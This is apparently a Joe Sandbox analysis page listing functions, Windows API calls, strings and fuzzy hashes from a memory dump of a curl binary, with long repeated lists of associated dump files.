Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ErrorLast_memmovefreeaddrinfogetaddrinfo
String ID:
API String ID: 3525700990-0
Opcode ID: a267f1b2911c4c783875877211b39b2868c020e9fed280b7d9ed209d8fcae039
Instruction ID: d05caf3eddcf909745197e9099b2f4575f87d2bcc1440b854f075657ce01b295
Opcode Fuzzy Hash: a267f1b2911c4c783875877211b39b2868c020e9fed280b7d9ed209d8fcae039
Instruction Fuzzy Hash: 22416CB1600706DFD720DF69ED84A27B7F8BF44700F108A29E859C7211DB75E959CB92

Function 0092B612 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

_setlocale.LIBCMT ref: 0092B63A

Part of subcall function 00A21FD2: _mbstowcs_s.LIBCMT ref: 00A21FF8
Part of subcall function 00A21FD2: __invoke_watson.LIBCMT ref: 00A22013
Part of subcall function 00A21FD2: __calloc_crt.LIBCMT ref: 00A2201D

Strings

This is a silly replacement for the actual file., xrefs: 0092B6E4
)!, xrefs: 0092B662

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: __calloc_crt__invoke_watson_mbstowcs_s_setlocale
String ID: This is a silly replacement for the actual file.$)!
API String ID: 1865555983-1032612091
Opcode ID: 798373eeb6756b8a962e011c1171e3d0792f9b641ba354d8e1dee1db1df2c1cd
Instruction ID: c88f8e0525f3e1516440df7b9a21b4141b67c748102b47894323987a26d94595
Opcode Fuzzy Hash: 798373eeb6756b8a962e011c1171e3d0792f9b641ba354d8e1dee1db1df2c1cd
Instruction Fuzzy Hash: D6219176B0012517DA20AA6EBC027AA73CEDBD1332F094576FD0DC7A45EA52DD2943E2

Function 00933CB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,00000000,00000000,00000000), ref: 00933CCD
WSAGetLastError.WS2_32 ref: 00933CE4

Strings

Send failure: %s, xrefs: 00933D0B

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ErrorLastsend
String ID: Send failure: %s
API String ID: 1802528911-857917747
Opcode ID: 23584b9d3a62960ed917790837a1fa4b96a615c6f4f238ff871fc3cb9c239ecc
Instruction ID: ecf32f643f032cce2d37a6ad6352cbd08fdf7af15da418562e32f1281fb4df46
Opcode Fuzzy Hash: 23584b9d3a62960ed917790837a1fa4b96a615c6f4f238ff871fc3cb9c239ecc
Instruction Fuzzy Hash: 9C01AD72204204AFCB109FA9EC44B9ABBE4EB88726F108175F91C93290C7369D209F40

Function 0093D530 Relevance: 4.5, APIs: 3, Instructions: 38networkCOMMON

Download Yara Rule

APIs

SleepEx.KERNELBASE ref: 0093D54D
getsockopt.WS2_32(?,0000FFFF,00001007,00000000,00000000), ref: 0093D568
WSAGetLastError.WS2_32 ref: 0093D572

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ErrorLastSleepgetsockopt
String ID:
API String ID: 3033474312-0
Opcode ID: e3c6009ced7f9a5ce115d9e980799587c9068dcacc7c8aab0bfdbd85cdf64b66
Instruction ID: 10d838e6d45148bc22bfd276e865b0d2889afe68d520b88a26a0aa47819a8402
Opcode Fuzzy Hash: e3c6009ced7f9a5ce115d9e980799587c9068dcacc7c8aab0bfdbd85cdf64b66
Instruction Fuzzy Hash: 82F0F6B1205302ABE7209F54FC54BA77BE8AF80704F244429F548C6194D774C9088FA2

Function 00A235C0 Relevance: 4.5, APIs: 3, Instructions: 15threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 00A235C4

Part of subcall function 00A25CD2: GetLastError.KERNEL32(00000000,?,00A1E62F,00A1FE17,00000000,?,00A2913C,?,?,?,00000000,?,00A29029,00000018,00A67E48,00000008), ref: 00A25CD4
Part of subcall function 00A25CD2: __calloc_crt.LIBCMT ref: 00A25CF5
Part of subcall function 00A25CD2: __initptd.LIBCMT ref: 00A25D17
Part of subcall function 00A25CD2: GetCurrentThreadId.KERNEL32 ref: 00A25D1E
Part of subcall function 00A25CD2: SetLastError.KERNEL32(00000000,00A2913C,?,?,?,00000000,?,00A29029,00000018,00A67E48,00000008,00A28F76,?,?,?,00A25BE8), ref: 00A25D36

__freeptd.LIBCMT ref: 00A235DE

Part of subcall function 00A236C3: LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00A235DD), ref: 00A236DD
Part of subcall function 00A236C3: GetProcAddress.KERNEL32(00000000), ref: 00A236E4
Part of subcall function 00A236C3: EncodePointer.KERNEL32(00000000), ref: 00A236EF
Part of subcall function 00A236C3: DecodePointer.KERNEL32(00A235DD), ref: 00A2370A

ExitThread.KERNEL32 ref: 00A235E7

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ErrorLastPointerThread$AddressCurrentDecodeEncodeExitLibraryLoadProc__calloc_crt__freeptd__getptd_noexit__initptd
String ID:
API String ID: 21986956-0
Opcode ID: 06f13181617963b5cee3ae65caac5b317647a4388571835c22337798534eee67
Instruction ID: 9b7d78b07936785767b4311c51622214ce0aacf685c91ad417bd437b4d5f61b2
Opcode Fuzzy Hash: 06f13181617963b5cee3ae65caac5b317647a4388571835c22337798534eee67
Instruction Fuzzy Hash: 41D0A732402B346BCA27373CFE0964E75586F03704F040035F5051A1519F38DF4185D9

Function 0092DDC0 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

_fgets.LIBCMT ref: 0092DDEB
_free.LIBCMT ref: 0092DE9E

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _fgets_free
String ID:
API String ID: 3213452050-0
Opcode ID: f798bd6efecc48ab1227929d9fb2105bd7762c2697bfa477ec2da1bcf20dccea
Instruction ID: 500cbde1700a5400538d4d7fd81a6316d7b780a8445523470ac5eea431eb670a
Opcode Fuzzy Hash: f798bd6efecc48ab1227929d9fb2105bd7762c2697bfa477ec2da1bcf20dccea
Instruction Fuzzy Hash: 81218E366042414FDB25CE24EC41BFBB39A9FA5344F09447DEC99CB246FA32D50AC362

Function 0093F140 Relevance: 3.1, APIs: 2, Instructions: 77COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000008,?,00000000), ref: 0093F219

Part of subcall function 0093EEF0: _memset.LIBCMT ref: 0093EEFF
Part of subcall function 0093EEF0: InitializeCriticalSectionEx.KERNEL32(00000000,00000000,00000001,?,?,?,?,?,00000000), ref: 0093EF3B
Part of subcall function 0093EEF0: DeleteCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 0093EF60
Part of subcall function 0093EEF0: _memset.LIBCMT ref: 0093EF93

__beginthreadex.LIBCMT ref: 0093F1ED

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: CriticalSection_memset$DeleteErrorInitializeLast__beginthreadex
String ID:
API String ID: 2457936775-0
Opcode ID: c151420f7f9067b509188890b66445986d4157532f3a174335f954658c92a973
Instruction ID: 3ce4a631f9a245d4493abd529b9ba89380534da2ee262a4882c6e6781ac3233a
Opcode Fuzzy Hash: c151420f7f9067b509188890b66445986d4157532f3a174335f954658c92a973
Instruction Fuzzy Hash: C62105B2A407029BE7209B75EC55B97BBD8EF40315F044439FA29C62C1EB71E809CF69

Function 0093E580 Relevance: 3.1, APIs: 2, Instructions: 69networkCOMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0093E5ED
socket.WS2_32(?,?,?), ref: 0093E617

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmovesocket
String ID:
API String ID: 1646235475-0
Opcode ID: 236171b7cae8abad458dac771da44bbf13ce5237626908631806cb262990cf48
Instruction ID: ad831e97a9b15794811cbfdc32cf763e4d6887100e18e6368e05bb916acc08cc
Opcode Fuzzy Hash: 236171b7cae8abad458dac771da44bbf13ce5237626908631806cb262990cf48
Instruction Fuzzy Hash: 72214971600204DFDB20CF29C881B9AB7E9FF58310F10893AE99ACB292E731E844CF51

Function 00930E80 Relevance: 3.0, APIs: 2, Instructions: 41networkCOMMON

Download Yara Rule

APIs

WSACleanup.WS2_32 ref: 00930EF1
FreeLibrary.KERNELBASE(00000000), ref: 00930F01

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: CleanupFreeLibrary
String ID:
API String ID: 470324515-0
Opcode ID: 0bdec5249578d78a37849775496d0753778063aedf4c7f8369e85250a6813d3c
Instruction ID: e38ba5ab6a3cd8da90a4309654a5d787abe37fceecf830a62f3c97f003b27701
Opcode Fuzzy Hash: 0bdec5249578d78a37849775496d0753778063aedf4c7f8369e85250a6813d3c
Instruction Fuzzy Hash: 410148B42052018FE728DFE9ED68F523AD8B784308F4A4819E801862B1EF3C9806CF11

Function 00930D80 Relevance: 3.0, APIs: 2, Instructions: 34networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,0013AB06), ref: 00930DA3
WSACleanup.WS2_32 ref: 00930DD2

Part of subcall function 00941CE0: _memset.LIBCMT ref: 00941D11
Part of subcall function 00941CE0: VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000001), ref: 00941D3F
Part of subcall function 00941CE0: VerSetConditionMask.KERNEL32(00000000,00000000,00000008,00000001), ref: 00941D4D
Part of subcall function 00941CE0: VerifyVersionInfoA.KERNEL32(?,00000002,00000000), ref: 00941D64
Part of subcall function 00941CE0: VerifyVersionInfoA.KERNEL32(?,00000008,00000000,?), ref: 00941D76
Part of subcall function 00941CE0: LoadLibraryA.KERNELBASE(secur32.dll), ref: 00941D88

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ConditionInfoMaskVerifyVersion$CleanupLibraryLoadStartup_memset
String ID:
API String ID: 227303284-0
Opcode ID: 662e4c5d23df66cac37773c6e7bb7f18a6bc9017f20041d435552fbfa9084763
Instruction ID: e1e976ef9d74aeaf53f8becc58afb9c3262084cfa5e75b6af1e5806f859c3bb2
Opcode Fuzzy Hash: 662e4c5d23df66cac37773c6e7bb7f18a6bc9017f20041d435552fbfa9084763
Instruction Fuzzy Hash: 4FF05B306042084BD730EBA49D17BBF73DD9F55314F400619F89A96281EE309812CB83

Function 00A20E47 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 00A1E62A: __getptd_noexit.LIBCMT ref: 00A1E62A

__lock_file.LIBCMT ref: 00A20E8C

Part of subcall function 00A1FA4E: __lock.LIBCMT ref: 00A1FA71

__fclose_nolock.LIBCMT ref: 00A20E97

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: e4759537accdc571034de43bc3758d927f4a463d1c77682c6815e345814035d4
Instruction ID: 0894e77d9cc4dcba75fd4119f00ae21490db3e638eedca994535ec152abc732c
Opcode Fuzzy Hash: e4759537accdc571034de43bc3758d927f4a463d1c77682c6815e345814035d4
Instruction Fuzzy Hash: FFF05931804331DAD710BF7CAA02FAE7AF06F40330F128528E460AB1D2C77C89818B51

Function 00A37042 Relevance: 3.0, APIs: 2, Instructions: 30COMMONLIBRARYCODE

Download Yara Rule

APIs

CompareStringEx.KERNELBASE(00000000,00F21E18,00000000,?,?,00A38621,00000000,00000000,00000000,?,00A38621,?,?,00000000,00F21E18,00000000), ref: 00A37069
CompareStringW.KERNEL32(00000000,00F21E18,00000000,?,?,00A38621,?,00A38621,?,?,00000000,00F21E18,00000000,00000000,?,00A3869B), ref: 00A37086

Memory Dump Source

